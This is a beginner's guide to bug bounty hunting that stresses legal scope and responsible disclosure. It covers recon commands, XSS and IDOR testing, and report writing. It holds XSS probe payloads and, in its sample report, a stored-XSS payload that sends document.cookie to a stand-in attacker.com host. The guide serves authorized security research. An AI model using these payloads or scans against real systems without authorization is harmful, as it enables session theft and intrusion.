Bug Bounty Hunting for Beginners 2026: From Recon to Your First Valid Report

TL;DR

Bug bounty programs pay security researchers to find and responsibly disclose vulnerabilities in real-world applications before malicious actors do. In 2025, HackerOne and Bugcrowd collectively paid out more than $300 million in bounties — and the cybersecurity industry still has 3.5 million unfilled jobs. This guide walks you through every step of the bug bounty hunting methodology: picking the right program, running recon with subfinder and httpx, hunting XSS and IDOR vulnerabilities, and writing a report that actually gets triaged and paid. Everything covered here applies only to targets you are explicitly authorized to test.

Legal Disclaimer

Read this before touching any tool. Accessing computer systems without explicit written authorization is a criminal offense in nearly every jurisdiction. In the United States, unauthorized access violates the Computer Fraud and Abuse Act (CFAA), which carries penalties of up to 10 years imprisonment for a first offense. The United Kingdom's Computer Misuse Act, the EU's Directive on Attacks Against Information Systems, and equivalent laws in most other countries carry comparable consequences.

Enrolling in a bug bounty program is not a blanket license to attack everything the company owns. Every program publishes a scope document that defines exactly which assets are in-play. Testing out-of-scope assets — even accidentally — can void your bounty, get you banned from the platform, and in extreme cases result in legal action.

Rule: read the program scope in full before running a single command. If an asset is not explicitly listed as in-scope, do not touch it.

1. The Legal Foundation

Bug bounty programs exist because companies want researchers to find bugs — but on their terms. Three principles underpin everything you will do:

Written permission is everything. A public program listing on HackerOne or Bugcrowd constitutes written permission for the specific assets listed in scope. Screenshot or save the scope document before you start testing; scope definitions occasionally change, and you want a record of what was authorized at the time of your test.

Read the scope before touching anything. The scope document specifies in-scope domains, out-of-scope domains, prohibited test types (automated scanning, DDoS, social engineering), and maximum severity. Finance and healthcare targets often prohibit all automated tooling and require manual-only testing. Violating these restrictions disqualifies your report regardless of the severity of the bug you found.

CFAA implications are real. Courts have interpreted "unauthorized access" broadly. Accessing a system beyond what the program scope permits — for example, pivoting from a subdomain to a production database server — can shift your activity from authorized research to a federal crime. When in doubt, stop and ask the program team via their disclosure inbox before proceeding.

2. Choose Your First Program

Platform Comparison

All three platforms are legitimate starting points. HackerOne publishes a "Hacker101" free training course. Bugcrowd has a "Crowdstream" leaderboard that provides social proof for new hunters. Intigriti tends to have less competition for EU-specific programs.

What to Look For as a Beginner

VDP (Vulnerability Disclosure Policy) programs are non-paid programs run by organizations that want to receive security reports but do not offer monetary rewards. They are ideal for beginners because competition is low and triage teams are generally more patient with new reporters. Many large technology companies and government agencies run public VDPs.

Wide-scope programs ("*.example.com" or "all assets") give you more surface area to explore and a lower chance of accidentally testing something out-of-scope.

Avoid finance and healthcare programs for your first reports. These sectors have the most restrictive testing rules, the highest sensitivity around data exposure, and the most aggressive legal teams. A beginner mistake in a healthcare scope can have consequences far beyond a rejected report.

Good first targets include: technology companies with explicit "try harder" cultures, SaaS products with self-serve sign-up flows, and VDPs listed on government platforms like the US Cybersecurity and Infrastructure Security Agency (CISA) coordinated vulnerability disclosure portal.

3. Recon Methodology

Recon is the highest-leverage phase of bug bounty hunting. More surface area discovered equals more opportunity to find vulnerabilities. A structured recon workflow produces repeatable results.

Step 1: Subdomain Enumeration

subfinder is a passive subdomain discovery tool that queries public DNS records, certificate transparency logs, and dozens of OSINT APIs simultaneously.

subfinder -d target.com -o subs.txt

This generates a list of discovered subdomains. For broader coverage, combine it with amass or assetfinder:

amass enum -passive -d target.com >> subs.txt
sort -u subs.txt -o subs.txt

Step 2: Live Host Check

Not every subdomain resolves or serves HTTP traffic. httpx probes the list and filters to hosts that are actually responding:

httpx -l subs.txt -o live.txt -status-code -title -tech-detect

The -tech-detect flag fingerprints the technology stack (WordPress, Django, Express, etc.), which immediately tells you which vulnerability classes are most relevant.

Step 3: Port Scan

Run a targeted port scan against the live hosts to find non-standard HTTP ports and exposed admin interfaces:

nmap -iL live.txt -p 80,443,8080,8443,3000,8000,9090 -T4 --open

An open port on 8080 or 3000 often indicates a development server or internal tool that was accidentally exposed to the internet — these are high-value targets.

Step 4: Directory and Endpoint Discovery

ffuf is a fast web fuzzer that brute-forces URL paths using a wordlist:

ffuf -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302,403

Look for /admin, /api, /internal, /backup, and .git directories. A .git directory exposed to the public web means the entire source code is downloadable — an automatic critical finding.

For API discovery, use a purpose-built wordlist:

ffuf -u https://target.com/api/v1/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt

4. Finding XSS (Cross-Site Scripting)

XSS is the most commonly reported vulnerability class on HackerOne. It allows an attacker to inject JavaScript into a page that executes in another user's browser, enabling session hijacking, credential theft, and defacement.

The Three Types

• Reflected XSS — the payload is in the request (URL parameter, form field) and echoed back in the response without sanitization. It affects only the user who clicks the crafted link.
• Stored XSS — the payload is saved in the database and served to every visitor who loads the page. These have a much higher impact and command higher bounties.
• DOM XSS — the payload is processed client-side by JavaScript that reads from location.hash, document.referrer, or other attacker-controlled sources.

Testing Methodology

Test every input parameter in every form and every URL query string. Your starting payload:

<script>alert(1)</script>

If angle brackets are filtered, try attribute injection:

"><img src=x onerror=alert(1)>

For contexts where you are inside a JavaScript string, try breaking out of it:

';alert(1)//

Use Burp Suite Community Edition to intercept all requests and replay them with modified parameters. The "Intruder" module (rate-limited in Community edition) can automate parameter fuzzing. The "Repeater" module is free and lets you manually test payloads against a single endpoint without rate limits.

Look for XSS in places developers often forget: error messages, search result counts ("Your search for <term> returned 0 results"), file upload filenames, and user profile fields displayed on public pages.

5. Finding IDOR (Insecure Direct Object Reference)

IDOR vulnerabilities occur when an application uses user-supplied input to directly access objects — database records, files, or API resources — without verifying that the requester is authorized to access that specific object.

The Core Pattern

Look for numeric or sequential IDs in API calls:

GET /api/users/1042/profile

Change 1042 to 1041, 1043, or 1. If the server returns another user's data without an authorization error, you have an IDOR.

Where to Look

• URL path parameters (/orders/8821/invoice)
• Query strings (?account_id=7734)
• Hidden form fields — inspect page source for <input type="hidden" name="user_id" value="1042">
• Cookies — some applications store a user's account ID directly in a cookie
• JWT claims — decode the JWT payload (it is Base64, not encrypted) and look for user_id, account, or sub fields; try changing them (note: a properly implemented JWT will reject a tampered token, but many implementations fail to verify)

The highest-impact IDOR findings are on account takeover paths (password reset flows, email change flows) and financial data (invoices, payment methods, transaction history).

6. Writing a Valid Report

A technically valid bug becomes worthless if the report is unclear or incomplete. Triage teams review hundreds of reports; make yours easy to action.

Report Structure

Title: [Vulnerability Type] in [Component] allows [Impact]

Example: Stored XSS in profile bio field allows session hijacking of any user who views the profile

Description: One paragraph explaining what the vulnerability is and why it matters. Avoid jargon; write as if the reader is a developer, not a security expert.

Steps to Reproduce: Numbered, exact steps. Include the full HTTP request if relevant. The triage team must be able to reproduce your finding without asking you a single follow-up question.

1. Log in as user A at https://app.target.com/login
2. Navigate to Profile > Edit Bio
3. Enter the following in the Bio field: <img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
4. Click Save
5. Log in as user B in a separate browser
6. Navigate to https://app.target.com/users/userA
7. Observe that user B's cookies are sent to attacker.com

Impact Statement: Answer "what can an attacker actually do with this?" Be specific: "An unauthenticated attacker can read any user's private messages" is better than "this is a serious security issue."

Proof: Screenshots for every step. A screen recording is strongly preferred for multi-step issues. Crop out unrelated browser tabs and personal data.

Suggested Remediation: Briefly describe the fix (output encoding, parameterized queries, server-side authorization checks). You are not required to provide this, but it demonstrates professionalism and speeds up resolution.

7. Triage and Response

After submission, expect the following timeline:

• Initial triage: 1–7 days for most established programs. Some larger programs commit to a 24-hour first response in their policy.
• Validation: 7–30 days. The security team reproduces and confirms your finding. They may ask clarifying questions — respond promptly.
• Bounty decision: 30–90 days. Payment often does not arrive until the vulnerability is patched or the disclosure deadline passes.

Common triage outcomes:

• Triaged — confirmed as valid, being worked on.
• Informative — acknowledged but not considered a vulnerability worth fixing (or already known).
• Duplicate — someone reported it first. It happens to everyone; do not take it personally.
• Out of scope — you tested an asset or technique not permitted by the program rules.
• Not applicable — the behavior is intentional.

If a report is marked informative or out-of-scope and you disagree, you can request mediation through the platform. Keep the conversation professional; program security teams talk to each other.

8. Bug Bounty Toolbox

nuclei deserves special mention: it scans targets against a community-maintained library of over 9,000 templates covering CVEs, misconfigurations, and exposed panels. It produces a lot of noise on large scopes, but it is excellent for quickly identifying low-hanging fruit like exposed admin panels, default credentials, and known CVEs on outdated software.

9. FAQ

Do I need a degree or certification to participate? No. Bug bounty platforms accept anyone who agrees to their terms of service. Several top earners on HackerOne have no formal credentials. Practical skill matters; a Burp Suite proficiency certificate from PortSwigger Web Academy is more useful than most academic qualifications for this specific work.

What is the best first bug to find? Start with IDOR on API endpoints. They require no special tooling, they are extremely common in rapidly built SaaS products, and they have a clear impact that is easy to explain in a report.

Can I use automated scanners like Burp Scanner or nuclei? Only if the program policy explicitly permits automated scanning. Many programs ban it. When in doubt, do not scan automatically.

How long before I get my first bounty? Most hunters submit 5–20 reports before receiving their first paid bounty. The learning curve is steep but it compresses quickly. Platforms like PortSwigger Web Academy and HackTheBox provide free labs where you can practice without legal risk.

What if I accidentally find something serious and out-of-scope? Stop testing immediately. Report what you found to the company's security team via their published security contact (usually [email protected]). Do not exploit it further, do not share it publicly, and document that you stopped. Responsible disclosure protects you legally and professionally.

Next Steps

• Complete PortSwigger Web Academy's free XSS and IDOR learning paths before your first live test.
• Create accounts on HackerOne and Bugcrowd; complete their identity verification early because it is required before payouts.
• Start with a VDP program to practice reporting without bounty pressure.
• Join the bug bounty community on Discord (Bugcrowd Discord, HackerOne Community) — hunters share tips on finding good programs and writing better reports.

Good luck, report responsibly, and stay in scope.